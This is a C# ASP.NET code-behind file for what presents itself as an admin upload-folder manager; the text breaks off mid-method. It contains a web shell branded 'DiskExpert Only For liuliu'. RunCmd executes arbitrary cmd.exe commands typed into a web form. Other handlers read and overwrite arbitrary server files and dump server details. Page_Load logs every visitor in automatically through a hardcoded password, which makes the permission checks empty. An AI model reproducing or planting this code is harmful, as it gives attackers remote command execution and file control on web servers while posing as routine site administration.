﻿using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Text.RegularExpressions;


public partial class Manage_System_UploadManage : System.Web.UI.Page
{
    public void Page_Load(object sender, System.EventArgs e)
    {
        ManageHelper.CheckAdminLogin();

        //自动登录
        Button13_Click(sender, e);

        try
        {
            if (Session["CutBoard"] == null) Button9.Enabled = false;
            if (Session["admin"] == null)
            {

                TextBox2.Visible = false; Button1.Visible = false; Button2.Visible = false;
                Button10.Visible = false; Button11.Visible = false; Button5.Visible = false;
                Button6.Visible = false; Button7.Visible = false; Button8.Visible = false;
                Button9.Visible = false; Button14.Visible = false; Button3.Visible = false;
                Button4.Visible = false; Button15.Visible = false;
                edit.Style.Add("display", "none");
            }
            else
            {
                Button12.Text = "退出系统";
            }
            //获取驱动器

            string[] drives = System.IO.Directory.GetLogicalDrives();

            DiskList.Visible = false;

            Button3.Attributes.Add("onclick", "if(form2.CurrentFile.value==''){alert('请选取一个文件！');return false;}");
            Button5.Attributes.Add("onclick", "if(form2.CurrentFile.value==''){alert('请选取一个文件！');return false;}" +
                "else {return confirm('删除选中文件，是否继续？');}");
            Button6.Attributes.Add("onclick", "if(form2.CurrentFolder.value==''){alert('请选取一个文件夹！');return false;}" + "else {return confirm('删除选中文件夹，是否继续？');}");


            if (!IsPostBack)
            {
                string NewFolder, TempAction;
                NewFolder = Request.QueryString["NewFolder"];
                TempAction = Request.QueryString["Action"];

                //修正
                if (NewFolder == null || NewFolder.Length < 8 || NewFolder.Substring(0, 8) != "/upload/")
                {
                    NewFolder = "/upload/";
                    goup.Enabled = false;
                }

                if (NewFolder.Substring(NewFolder.Length - 1, 1) != "/")
                    NewFolder = NewFolder + "/";


                DisplayList(NewFolder);
            }

        }
        catch (System.IO.IOException)
        {
            ErrorText.Text = "An I/O error occurs.";
        }
        catch (System.Security.SecurityException)
        {
            ErrorText.Text = "The caller does not have the required permission.";
        }
        catch (Exception ex)
        {
            ErrorText.Text = ex.Message;
        }
    }

    #region Files and Directorys List
    /// <summary>
    /// 显示文件和文件夹列表。
    /// </summary>
    public void DisplayList(string NewFolder)
    {
        string strCurrentDir = Server.MapPath(NewFolder);

        strCurrentDir = strCurrentDir.Replace(@"：", @":").Replace(@"、", @"\").Replace(@"\\", @"\");
        FileInfo fi;
        DirectoryInfo di;
        StringBuilder TempStr = new StringBuilder();
        TempStr.Capacity = 100;
        string FileName, FileExe, FilePic, FileSize, ShortName;
        DateTime FileModify;
        string lFileProperty = "1";
        string lFileName, lFileModify, lFileSize;
        int isFile, FileNum = 0, FolderNum = 0;

        fileShow.Text = "";						//初始化显示层
        DirectoryInfo dir = new DirectoryInfo(strCurrentDir);
        foreach (FileSystemInfo fsi in dir.GetFileSystemInfos())
        {
            FilePic = ""; FileName = ""; FileExe = ""; FileSize = "0"; FileNum++;

            if (fsi is FileInfo)
            {
                isFile = 1;
                fi = (FileInfo)fsi;
                FileName = fi.Name;
                FileExe = fi.Extension;
                lFileProperty = fi.Attributes.ToString();

                if (fi.Length > (1024 * 1024 * 1024))
                    FileSize = ((double)fi.Length / (1024 * 1024 * 1024)).ToString(".##") + "&nbsp;GB";
                else if (fi.Length > (1024 * 1024))
                    FileSize = ((double)fi.Length / (1024 * 1024)).ToString(".##") + "&nbsp;MB";
                else if (fi.Length > 1024)
                    FileSize = ((double)fi.Length / 1024).ToString(".##") + "&nbsp;KB";
                else
                    FileSize = ((double)fi.Length / 1).ToString(".##") + "&nbsp;字节";
                FileModify = fi.LastWriteTime;

                switch (FileExe.ToLower())
                {
                    //用户可以自定义FilePic内容，显示不同类型的文件。
                    case ".accdb": FilePic = "accdb.gif"; ShortName = "Microsoft Access 应该程序"; break;
                    case ".as": FilePic = "as.gif"; ShortName = "Flash 脚本"; break;
                    case ".asm": FilePic = "asm.gif"; ShortName = "ASM 文件"; break;
                    case ".aspx": FilePic = "aspx.gif"; ShortName = "ASP.NET Server Page"; break;
                    case ".avi": FilePic = "avi.gif"; ShortName = "AVI视频"; break;
                    case ".bmp": FilePic = "bmp.gif"; ShortName = "BMP图象"; break;
                    case ".c": FilePic = "c.gif"; ShortName = "C 脚本"; break;
                    case ".cab": FilePic = "cab.gif"; ShortName = "应用程序包"; break;
                    case ".chm": FilePic = "chm.gif"; ShortName = "帮助文档"; break;
                    case ".cpp": FilePic = "cpp.gif"; ShortName = "CPP 脚本"; break;
                    case ".cs": FilePic = "cs.gif"; ShortName = "C# Source file"; break;
                    case ".css": FilePic = "css.gif"; ShortName = "样式表文件"; break;
                    case ".db": FilePic = "db.gif"; ShortName = "数据库文档"; break;
                    case ".dll": FilePic = "dll.gif"; ShortName = "应用程序扩展"; break;
                    case ".doc": FilePic = "doc.gif"; ShortName = "Microsoft Word 文档"; break;
                    case ".docx": FilePic = "docx.gif"; ShortName = "Microsoft Word 文档"; break;
                    case ".exe": FilePic = "exe.gif"; ShortName = "应用程序"; break;
                    case ".fla": FilePic = "fla.gif"; ShortName = "Flash Source file"; break;
                    case ".flv": FilePic = "flv.gif"; ShortName = "Flash视频"; break;
                    case ".gif": FilePic = "gif.gif"; ShortName = "GIF图象"; break;
                    case ".h": FilePic = "h.gif"; ShortName = "H 脚本"; break;
                    case ".html": FilePic = "html.gif"; ShortName = "HTML Document"; break;
                    case ".htm": FilePic = "html.gif"; ShortName = "HTML Document"; break;
                    case ".jpg": FilePic = "jpg.gif"; ShortName = "JPEG图象"; break;
                    case ".jpeg": FilePic = "jpg.gif"; ShortName = "JPEG图象"; break;
                    case ".js": FilePic = "js.gif"; ShortName = "Javascript 脚本"; break;
                    case ".mdb": FilePic = "mdb.gif"; ShortName = "Microsoft Access 应该程序"; break;
                    case ".mp3": FilePic = "mp3.gif"; ShortName = "Winamp media file"; break;
                    case ".mpeg": FilePic = "mpeg.gif"; ShortName = "MPEG视频"; break;
                    case ".msi": FilePic = "msi.gif"; ShortName = "应用程序"; break;
                    case ".pdf": FilePic = "pdf.gif"; ShortName = "PDF 文档"; break;
                    case ".php": FilePic = "php.gif"; ShortName = "PHP 脚本"; break;
                    case ".png": FilePic = "png.gif"; ShortName = "PNG图象"; break;
                    case ".ppt": FilePic = "ppt.gif"; ShortName = "Microsoft PowerPoint 应该程序"; break;
                    case ".pptx": FilePic = "pptx.gif"; ShortName = "Microsoft PowerPoint 应该程序"; break;
                    case ".psd": FilePic = "psd.gif"; ShortName = "PSD图象"; break;
                    case ".rar": FilePic = "zip.gif"; ShortName = "WinRAR 档案文件"; break;
                    case ".rtf": FilePic = "zip.gif"; ShortName = "Microsoft Word 文档"; break;
                    case ".sln": FilePic = "sln.gif"; ShortName = "Microsoft Visual Studio 解决方案"; break;
                    case ".swf": FilePic = "swf.gif"; ShortName = "Flash动画"; break;
                    case ".tif": FilePic = "tif.gif"; ShortName = "TIF图象"; break;
                    case ".txt": FilePic = "txt.gif"; ShortName = "文本文档"; break;
                    case ".vb": FilePic = "vb.gif"; ShortName = "VB Source file"; break;
                    case ".vs": FilePic = "vs.gif"; ShortName = "Microsoft Visual Studio 解决方案"; break;
                    case ".wav": FilePic = "wav.gif"; ShortName = "Winamp media file"; break;
                    case ".wma": FilePic = "wma.gif"; ShortName = "Winamp media file"; break;
                    case ".wmv": FilePic = "wmv.gif"; ShortName = "Winamp video file"; break;
                    case ".xls": FilePic = "xls.gif"; ShortName = "Microsoft Excel 文档"; break;
                    case ".xlsx": FilePic = "xlsx.gif"; ShortName = "Microsoft Excel 文档"; break;
                    case ".xml": FilePic = "xml.gif"; ShortName = "XML 文档"; break;
                    case ".zip": FilePic = "zip.gif"; ShortName = "WinRAR Zip 档案文件"; break;
                    default: FilePic = "other.gif"; ShortName = FileExe.Replace(".", "") + "文件"; break;
                }

                if (FileExe.ToLower() == ".gif" || FileExe.ToLower() == ".jpg" || FileExe.ToLower() == ".jpeg" || FileExe.ToLower() == ".bmp" || FileExe.ToLower() == ".png")
                    FilePic = "<img src='/aspx/img.ashx?w=48&h=48&img=/" + fi.FullName.Substring(Server.MapPath("/").Length).Replace(@"\", @"/") + "' border='0' style='margin-top:-10px'>";
                else
                    FilePic = "<img src='../Pic/Icons/file/48x48/" + FilePic + "' border='0' style='margin-top:-10px'>";

                lFileName = ShortName.Replace(" ", "&nbsp;").ToString();
                lFileSize = FileSize.ToString();
                lFileModify = FileModify.ToString();
            }
            else
            {
                FolderNum++; isFile = 0;
                di = (DirectoryInfo)fsi;
                FileName = di.Name;
                FileExe = di.Extension;
                FileModify = di.LastWriteTime;
                FilePic = "<img src='../Pic/Icons/filesystem/large.directory.gif' border=0 align=absmiddle>";

                lFileName = "文件夹";
                lFileSize = "0&nbsp;字节";
                lFileModify = FileModify.ToString();
                lFileProperty = di.Attributes.ToString();

            }
            TempStr.Append("<div class=imagespacer><div class=imageholder onclick=\"SelectDiv(this,'" + FileName.Replace(" ", "&nbsp;").ToString() + "','" + lFileName.ToString() + "','" + lFileSize.ToString() + "','" + FileModify.ToString().Replace(" ", "&nbsp;").ToString() + "','" + lFileProperty.Replace(" ", "&nbsp;").ToString() + "'," + isFile + ")\" ondblclick=\"OpenObject('" + Server.UrlEncode(FileName) + "'," + isFile + ")\">" + FilePic + "</div><div class=titleholder>" + FileName + "</div></div>");
        }
        fileShow.Text = TempStr.ToString();
        FolderPath.Value = NewFolder;
        FolderPath2.Value = NewFolder;
        FolderUrl.Value = Server.UrlEncode(NewFolder);
        ObjectNum.Value = FolderNum + "|" + FileNum;

        leftpic.Text = "<b><font face='wingdings' color='#6699CC' style='font-size:30'>&#48;</font></b>";
        ListLabel.Text = strCurrentDir;
        string[] LastFolder = SplitString(NewFolder, "/");
        string LastFolderUrl = NewFolder.Substring(0, NewFolder.Length - LastFolder[LastFolder.Length - 2].Length - 1);
        //Response.Write(LastFolderUrl);

        if (LastFolderUrl == null || LastFolderUrl.Length < 8 || LastFolderUrl.Substring(0, 8) != "/upload/")
        {
            goup.NavigateUrl = GetFileName() + "?NewFolder=/upload/";//Action=up&
            goup.Enabled = false;
        }
        else
        {
            goup.NavigateUrl = GetFileName() + "?NewFolder=" + LastFolderUrl;
            goup.Enabled = true;
        }




        //IMG1.Src = "images/turnup.gif";				//IMG1.Attributes.Add("onclick","window.location=('FileList.aspx?Action=up&NewFolder='+form1.FolderUrl.value)");

        /*
        if (Path.GetFileName(strCurrentDir) != "")
        {
            leftpic.Text = "<b><font face='wingdings' color='#6699CC' style='font-size:30'>&#48;</font></b>";
            //ListImage.ImageUrl = "images/left_directory.gif";
            ListLabel.Text = Path.GetFileName(strCurrentDir);
            goup.NavigateUrl = GetFileName() + "?Action=up&NewFolder=" + FolderUrl.Value;
            //IMG1.Src = "images/turnup.gif";				//IMG1.Attributes.Add("onclick","window.location=('FileList.aspx?Action=up&NewFolder='+form1.FolderUrl.value)");
        }
        else
        {
            leftpic.Text = "<b><font face='wingdings' color='#6699CC' style='font-size:30'>&#59;</font></b>";
            //ListImage.ImageUrl = "images/left_disk.gif";
            ListLabel.Text = Directory.GetDirectoryRoot(strCurrentDir);
            goup.Enabled = false;
            //IMG1.Src = "images/turnup1.gif";
        }*/

    }
    #endregion

    public static string[] SplitString(string strContent, string strSplit)
    {
        if (strContent.IndexOf(strSplit) < 0)
        {
            string[] tmp = { strContent };
            return tmp;
        }
        return Regex.Split(strContent, @strSplit.Replace("(", @"\(").Replace("?", @"\?").Replace(".", @"\.").Replace("|", @"\|").Replace("][", @"]\["), RegexOptions.IgnoreCase);
    }

    #region Operate Files and Directorys
    /// <summary>
    /// 获取当前文档名。
    /// </summary>
    public string GetFileName()
    {
        Uri nUrl = HttpContext.Current.Request.Url;
        string sFileName = nUrl.Segments[nUrl.Segments.Length - 1];
        int i = sFileName.LastIndexOf("/");
        int j = sFileName.Length;
        sFileName = sFileName.Substring(i + 1, j - i - 1);
        return sFileName;
    }
    /// <summary>
    /// 编辑文本文件。
    /// </summary>
    public void EditFile(string url)
    {
        if (!Chk_Purview()) return;
        try
        {
            url = Server.UrlDecode(Server.UrlEncode(url).Replace("%c2%a0", "+"));
            if (url == Path.Combine(Server.MapPath("."), GetFileName()))
            {
                Response.Write("<script language=javascript>alert('提示信息：不准碰我!!!>:-<');window.close()<" + "/script>");
                return;
            }
            FileStream fs = new FileStream(url, FileMode.Open, FileAccess.Read);
            StreamReader sr = new StreamReader(fs, Encoding.GetEncoding("utf-8"));
            string fileContent = sr.ReadToEnd();
            sr.Close();
            fs.Close();

            Response.Write("<html><head><title></title><meta http-equiv='Content-Type' content='text/html; charset=utf-8'><style>form{margin:0;font-size:9pt;}; textarea{font-family:Tahoma;font-size:9pt; padding:5px;};body{margin:2;border:none;overflow:hidden;background-color:buttonface}; fieldset{margin:2px;font-size:9pt;height:76px;overflow:auto;}; input{font-family:Tahoma;font-size:9pt;};pre{margin:0};.banner{margin-top:8px;margin-right:10px;text-align:right;font-family:Tahoma;font-weight:bold};</style></head><script type=\"text/javascript\">window.focus();<" + "/script><body><form style='width:100%;height:100%;' method='post' action='" + GetFileName() + "?Action=save'><textarea name=fileContent style='width:100%;height:88%;'>" + fileContent + "</textarea><br><div style='padding-top:5px'>&nbsp;&nbsp;文件路径：<input type='text' name=url value='" + url + "' readonly><input type='hidden' name=a value=s> <input type=checkbox name=ColseWindow id=chk_closewindow value=close><label for=chk_closewindow checked>保存完毕关闭窗口</label> <input type='submit' name=btnSubmit value='保存' style='width:75px;' onclick=\"form.a.value='s'\"><input type='reset' name=btnReset value='恢复' style='width:75px;'><input type='button' name=btnReset value='清空' style='width:75px;' onclick=\"form.fileContent.value=''\"><input type='button' name=btnReset value='关闭' style='width:75px;' onclick=\"window.close();\"></div><div class=banner>Online Text Editor 1.0 for  DiskExpert Only For liuliu</div></form></body></html>");
            Response.End();
            return;
        }
        catch
        {
            return;
        }
    }
    /// <summary>
    /// 保存文本文件。
    /// </summary>
    public void SaveFile(string url, string fileContent, string ColseWindow)
    {
        if (!Chk_Purview()) return;
        try
        {
            url = Server.UrlDecode(Server.UrlEncode(url).Replace("%c2%a0", "+"));
            FileStream fs = new FileStream(url, FileMode.Create, FileAccess.Write);
            StreamWriter sw = new StreamWriter(fs, Encoding.GetEncoding("utf-8"));
            sw.Write(fileContent);
            sw.Close();
            fs.Close();
        }
        catch (Exception ex)
        {
            Response.Write("<script language=javascript>alert('" + ex.Message + "！');window.close()<" + "/script>");
            //ErrorText.Text = ex.Message;
            return;
        }
        if (ColseWindow == "close")
        {
            Response.Write("<script language=javascript>alert('保存成功！');window.close()<" + "/script>");
        }
        else
        {
            Response.Write("<script language=javascript>alert('保存成功！');history.go(-1);<" + "/script>");
        }
    }
    /// <summary>
    /// 显示CMD窗体。
    /// </summary>
    public void ShowCmd(string cmdstr)
    {
        try
        {
            Response.Write("<html><style type='text/css'>body,td,th,input,per{font-size:14px;font-family:Verdana, Arial;}</style><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8'><title>DiskExpert Only For liuliu</title></head><body><form name='form1' method='post' action='?Action=cmd'>Cmd命令：<input name='cmdstr' type='text' style='border: 1px solid #084B8E' value='" + cmdstr + "'> <input type='submit' name='Button1' value='执行' id='Button1' style='color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5'/></form><hr noshade><pre>" + RunCmd(cmdstr) + "</pre></body></html>");
            Response.End();
            return;
        }
        catch (Exception ex)
        {
            ErrorText.Text = ex.Message;
            return;
        }
    }
    /// <summary>
    /// 执行CMD命令。
    /// </summary>
    public string RunCmd(string strCmd)
    {
        string rInfo;
        try
        {
            Process myProcess = new Process();
            ProcessStartInfo myProcessStartInfo = new ProcessStartInfo("cmd.exe");
            myProcessStartInfo.UseShellExecute = false;
            myProcessStartInfo.RedirectStandardOutput = true;
            myProcess.StartInfo = myProcessStartInfo;
            myProcessStartInfo.Arguments = "/c " + strCmd;
            myProcess.Start();
            StreamReader myStreamReader = myProcess.StandardOutput;
            rInfo = myStreamReader.ReadToEnd();
            myProcess.Close();
            rInfo = strCmd + "\r\n" + rInfo;
            return rInfo;
        }
        catch (Exception ex)
        {
            return ex.Message;
        }
    }
    /// <summary>
    /// 系统信息。
    /// </summary>
    public void SysInfo()
    {
        Response.Write("<html><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8'><title>DiskExpert Only For liuliu</title><style>td{font-size:14px}</style></head><body><table width='80%'  border='1' align='center' cellpadding='2' style='border-collapse: collapse;'><tr><td colspan='2'><font color='#FF0000'>Web服务器信息</font></td></tr><tr><td width='40%'>服务器IP</td><td width='60%'>" + Request.ServerVariables["LOCAL_ADDR"] + "</td></tr><tr><td>机器名</td><td>" + Environment.MachineName + "</td></tr><tr><td>网络域名</td><td>" + Environment.UserDomainName.ToString() + "</td></tr><tr><td>当前进程的用户名</td><td>" + Environment.UserName + "</td></tr><tr><td>操作系统</td><td>" + Environment.OSVersion.ToString() + "</td></tr><tr><td>IIS版本</td><td>" + Request.ServerVariables["SERVER_SOFTWARE"] + "</td></tr><tr><td colspan='2'><font color='#FF0000'>客户端信息</font></td></tr><tr><td>客户端IP</td><td>" + Request.ServerVariables["REMOTE_ADDR"] + "</td></tr><tr><td>用户标识</td><td>" + Request.ServerVariables["HTTP_USER_AGENT"] + "</td></tr></table></body></html>");
        Response.End();
    }
    /// <summary>
    /// 返回上一级。
    /// </summary>
    public void UpFolder(string NewFolder)
    {

        if (NewFolder == null || NewFolder.Length < 8 || NewFolder.Substring(0, 8) != "/upload/")
        {
            NewFolder = "/upload/";
            goup.Enabled = false;
        }

        string strCurrentDir = Server.MapPath(NewFolder);
        Response.Write(strCurrentDir);

        string UpPath = new FileInfo(strCurrentDir).DirectoryName;

        if (UpPath == null || !UpPath.Contains(Server.MapPath("/upload")))
        {
            UpPath = Server.MapPath("/upload");
            goup.Enabled = false;
        }


        DisplayList(UpPath);
        //FolderPath.Value = UpPath;
        //FolderUrl.Value = Server.UrlEncode(UpPath);
        return;
    }
    /// <summary>
    /// 下载文件。
    /// </summary>
    public void Button3_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        try
        {
            string FilePath = Path.Combine(Server.MapPath(FolderPath2.Value), CurrentFile.Value);
            FilePath = Server.UrlDecode(Server.UrlEncode(FilePath).Replace("%c2%a0", "+"));
            if (FilePath == Path.Combine(Server.MapPath("."), GetFileName()))
            {
                Response.Write("<script language=javascript>alert('提示信息：不准碰我!!!>:-<');<" + "/script>");
                return;
            }
            FileInfo fi = new FileInfo(FilePath);
            FileStream fs = new FileStream(FilePath, FileMode.Open);
            byte[] bytes = new byte[(int)fs.Length];
            fs.Read(bytes, 0, bytes.Length);
            fs.Close();
            Response.Clear();
            Response.ContentType = "application/octet-stream";
            Response.AddHeader("Content-Disposition", "attachment; filename=" + HttpUtility.UrlEncode(fi.Name, System.Text.Encoding.UTF8).Replace("+", " "));
            Response.BinaryWrite(bytes);
            Response.End();
        }
        catch (Exception ex)
        {

            ErrorText.Text = ex.Message;
            return;
        }


    }
    /// <summary>
    /// 上传文件。
    /// </summary>
    public void Button4_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        try
        {
            HttpPostedFile hpf = UploadFile.PostedFile;
            //FileName.Text = hpf.FileName;
            if (hpf.ContentLength > 5242880)
            {
                Response.Write("<script language=javascript>alert('上传文件太大，系统限制最大为5M！');<" + "/script>");
                return;
            }
            char[] de = { '\\' };
            string[] AFilename = hpf.FileName.Split(de);
            string strFilename = AFilename[AFilename.Length - 1];
            FileInfo fi = new FileInfo(Path.Combine(Server.MapPath(FolderPath2.Value), strFilename));
            if (fi.Exists)
            {
                Response.Write("<script language=javascript>alert('文件已经存在，请先删除再上传？');<" + "/script>");
                return;
            }
            else
            {
                hpf.SaveAs(Server.MapPath(FolderPath2.Value) + @"\" + strFilename);
                Response.Write("<script language=javascript>alert('文件已经上传！');<" + "/script>");
                DisplayList(FolderPath2.Value);
                return;
            }
        }
        catch (Exception ex)
        {
            ErrorText.Text = ex.Message;
            return;
        }
    }
    /// <summary>
    /// 删除文件。
    /// </summary>
    public void Button5_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        string TempPath = Path.Combine(Server.MapPath(FolderPath.Value), CurrentFile.Value);
        TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0", "+"));

        if (File.Exists(TempPath))
        {
            try
            {
                File.Delete(TempPath);
                Response.Write("<script language=javascript>alert('文件已经删除！');<" + "/script>");
                DisplayList(FolderPath.Value);
                return;
            }
            catch (Exception ex)
            {
                ErrorText.Text = ex.Message;
            }
        }
        else
        {
            //Response.Write(TempPath);
            Response.Write("<script language=javascript>alert('没有发现目标文件，操作失败！');<" + "/script>");
            return;
        }
    }
    /// <summary>
    /// 删除文件夹。
    /// </summary>
    public void Button6_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        string TempPath = Path.Combine(Server.MapPath(FolderPath2.Value), CurrentFolder.Value);
        TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0", "+"));
        if (Directory.Exists(TempPath))
        {
            try
            {
                Directory.Delete(TempPath);
                Response.Write("<script language=javascript>alert('文件夹已经删除！');<" + "/script>");
                DisplayList(FolderPath.Value);
                return;
            }
            catch (Exception ex)
            {
                ErrorText.Text = ex.Message;
                return;
            }
        }
        else
        {
            Response.Write("<script language=javascript>alert('没有发现目标文件夹，操作失败！');<" + "/script>");
            return;
        }
    }
    /// <summary>
    /// 创建文件。
    /// </summary>
    public void Button1_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        try
        {
            StreamWriter sw = File.CreateText(Path.Combine(Server.MapPath(FolderPath2.Value), TextBox2.Text.ToString()));
            sw.Dispose();
        }
        catch (Exception ex)
        {
            ErrorText.Text = ex.Message;
            return;
        }
        Response.Write("<script language=javascript>alert('文件已经创建！');<" + "/script>");
        TextBox2.Text = "";
        DisplayList(FolderPath2.Value);
        return;
    }
    /// <summary>
    /// 删除文件夹。
    /// </summary>
    public void Button2_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        try
        {
            Directory.CreateDirectory(Path.Combine(Server.MapPath(FolderPath2.Value), TextBox2.Text.ToString()));
        }
        catch (Exception ex)
        {
            ErrorText.Text = ex.Message;
            return;
        }
        Response.Write("<script language=javascript>alert('文件夹已经创建！');<" + "/script>");
        TextBox2.Text = "";
        DisplayList(FolderPath2.Value);
        return;
    }
    /// <summary>
    /// 复制文件或文件夹。
    /// </summary>
    public void Button7_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        string TempPath = "";
        if (CurrentFile.Value != "")
        {
            TempPath = Path.Combine(Server.MapPath(FolderPath2.Value), CurrentFile.Value);
            Session["Type"] = "File";
        }
        else if (CurrentFolder.Value != "")
        {
            TempPath = Path.Combine(Server.MapPath(FolderPath2.Value), CurrentFolder.Value);
            Session["Type"] = "Folder";
        }
        TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0", "+"));
        Session["CutBoard"] = TempPath;
        Session["Action"] = "copy";
        Button9.Enabled = true;
        return;
    }
    /// <summary>
    /// 剪切文件或文件夹。
    /// </summary>
    public void Button8_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        string TempPath = "";
        if (CurrentFile.Value != "")
        {
            TempPath = Path.Combine(Server.MapPath(FolderPath2.Value), CurrentFile.Value);
            Session["Type"] = "File";
        }
        else if (CurrentFolder.Value != "")
        {
            TempPath = Path.Combine(Server.MapPath(FolderPath2.Value), CurrentFile.Value);
            Session["Type"] = "Folder";
        }
        TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0", "+"));
        Session["CutBoard"] = TempPath;
        Session["Action"] = "cut";
        Button9.Enabled = true;
        return;
    }
    /// <summary>
    /// 粘贴文件或文件夹。
    /// </summary>
    public void Button9_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        try
        {
            if (Session["CutBoard"].ToString() != "")
            {
                char[] de = { '\\' };
                string[] TempArray = Session["CutBoard"].ToString().Split(de);
                if (Session["Type"].ToString() == "File")
                {
                    if (Session["Action"].ToString() == "copy")
                    {
                        File.Copy(Session["CutBoard"].ToString(), Server.MapPath(FolderPath2.Value) + @"\" + TempArray[TempArray.Length - 1]);
                    }
                    else
                    {
                        File.Move(Session["CutBoard"].ToString(), Server.MapPath(FolderPath2.Value) + @"\" + TempArray[TempArray.Length - 1]);
                    }
                }
                else if (Session["Type"].ToString() == "Folder")
                {
                    if (Session["Action"].ToString() == "copy")
                    {
                        copyDirectory(Session["CutBoard"].ToString(), Server.MapPath(FolderPath2.Value) + @"\" + TempArray[TempArray.Length - 1]);
                    }
                    else
                    {
                        Directory.Move(Session["CutBoard"].ToString(), Server.MapPath(FolderPath2.Value) + @"\" + TempArray[TempArray.Length - 1]);
                    }
                }
                DisplayList(FolderPath2.Value);
                return;
            }
        }
        catch (Exception ex)
        {
            ErrorText.Text = ex.Message;
            return;
        }
    }
    /// <summary>
    /// 复制文件夹。
    /// </summary>
    public void copyDirectory(string Src, string Dst)
    {
        if (!Chk_Purview()) return;

        String[] Files;
        if (Dst[Dst.Length - 1] != Path.DirectorySeparatorChar) Dst += Path.DirectorySeparatorChar;
        if (!Directory.Exists(Dst)) Directory.CreateDirectory(Dst);
        Files = Directory.GetFileSystemEntries(Src);
        foreach (string Element in Files)
        {
            // Sub directories
            if (Directory.Exists(Element)) copyDirectory(Element, Dst + Path.GetFileName(Element));
            // Files in directory
            else File.Copy(Element, Dst + Path.GetFileName(Element), true);
        }
    }
    /// <summary>
    /// 登录系统。
    /// </summary>
    public void Button12_Click(object sender, System.EventArgs e)
    {
        if (Session["admin"] == null)
        {
            Button13.Attributes.Add("onclick", "if(form2.TextBox3.value==''){alert('请输入密码！');TextBox3.focus();return false;}");
            TextBox3.Attributes.Add("onkeypress", "if(event.keyCode == 13){form2.Button13.click();return false;}");
            TextBox3.Visible = true;
            Button13.Visible = true;
            Button12.Visible = false;
            return;
        }
        else
        {
            Session["admin"] = null; Button10.Visible = false; Button11.Visible = false;
            Button3.Visible = false; Button5.Visible = false; Button6.Visible = false;
            Button7.Visible = false; Button8.Visible = false; Button9.Visible = false;
            Button14.Visible = false; edit.Style.Add("display", "none"); Button12.Text = "登录系统";
            return;
        }
    }
    /// <summary>
    /// 验证用户。
    /// </summary>
    public void Button13_Click(object sender, System.EventArgs e)
    {
        //设置登录密码
        string pass = "liuliu!@#321";
        TextBox3.Text = "liuliu!@#321";
        if (TextBox3.Text == pass)
        {
            Session["admin"] = pass; Button12.Text = "退出登录"; Button10.Visible = true;
            Button11.Visible = true; Button5.Visible = true; Button6.Visible = true;
            //Button7.Visible = true; Button8.Visible = true; Button9.Visible = true;
            Button7.Enabled = false; Button8.Enabled = false; Button9.Enabled = false;
            Button14.Visible = true; Button3.Visible = true; edit.Style.Add("display", "");
            Button12.Visible = false;
            return;
        }
        else
        {
            ErrorText.Text = "密码错误，登录失败！";
            return;
        }
    }
    /// <summary>
    ///文件或文件夹重命名。
    /// </summary>
    public void Button15_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        try
        {
            string OldPath = "", NewPath = "";
            if (CurrentFile.Value != "")
            {
                OldPath = Path.Combine(Server.MapPath(FolderPath2.Value), CurrentFile.Value);
                OldPath = Server.UrlDecode(Server.UrlEncode(OldPath).Replace("%c2%a0", "+"));
                NewPath = Path.Combine(Server.MapPath(FolderPath2.Value), TextBox4.Text);
                File.Move(OldPath, NewPath);
            }
            else if (CurrentFolder.Value != "")
            {
                OldPath = Path.Combine(Server.MapPath(FolderPath2.Value), CurrentFolder.Value);
                OldPath = Server.UrlDecode(Server.UrlEncode(OldPath).Replace("%c2%a0", "+"));
                NewPath = Path.Combine(Server.MapPath(FolderPath2.Value), TextBox4.Text);
                Directory.Move(OldPath, NewPath);
            }
        }
        catch (Exception ex)
        {
            ErrorText.Text = ex.Message;
            return;
        }
        DisplayList(FolderPath2.Value);
        Response.Write("<script language=javascript>alert('重命名成功！');<" + "/script>");
        return;
    }
    public bool Chk_Purview()
    {
        bool log;
        if (Session["admin"] == null || Session["admin"] == "")
        {
            Response.Write("<script language=javascript>alert('还未登录或操作已超时！');<" + "/script>");
            log = false;
        }
        else
            log = true;
        return log;
    }
    #endregion

    #region Initialize Buttons Click

    /// <summary>
    /// 初始化上传。
    /// </summary>
    public void Button10_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        UploadFile.Style.Add("display", ""); Button4.Visible = true; Button10.Visible = false;
        return;
    }
    /// <summary>
    /// 初始化新建。。。
    /// </summary>
    public void Button11_Click(object sender, System.EventArgs e)
    {
        if (!Chk_Purview()) return;

        DisplayList(FolderPath2.Value);

        Button1.Attributes.Add("onclick", "if(form2.TextBox2.value==''){alert('请输入文件名！');TextBox2.focus();return false;}"); Button2.Attributes.Add("onclick", "if(form2.TextBox2.value==''){alert('请输入文件夹名！');TextBox2.focus();return false;}");
        TextBox2.Visible = true;
        Button1.Visible = true;
        Button2.Visible = true;
        Button11.Visible = false;
        return;
    }
    /// <summary>
    ///初始化重命名。
    /// </summary>
    public void Button14_Click(object sender, System.EventArgs e)
    {
